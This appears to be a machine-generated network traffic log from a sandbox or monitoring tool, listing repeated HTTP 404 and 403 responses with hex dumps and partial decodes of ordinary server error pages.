<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:30 GMTContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:31 GMTContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-UA-Compatible: IE=edge,chrome=1X-Powered-By: PbootCMSSet-Cookie: lg=cn; path=/X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:42 GMTContent-Length: 766Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" he
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:31 GMTContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:31 GMTContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-UA-Compatible: IE=edge,chrome=1X-Powered-By: PbootCMSSet-Cookie: lg=cn; path=/X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:42 GMTContent-Length: 766Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" he
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 02 Dec 2023 17:04:43 GMTServer: ApacheSet-Cookie: vsid=926vr4490822838450298; expires=Thu, 30-Nov-2028 17:04:43 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnlyContent-Length: 301Content-Type: text/html; charset=UTF-8Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 32 36 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (26)</h3> <!--- 149.18.24.110---></div></body></html>
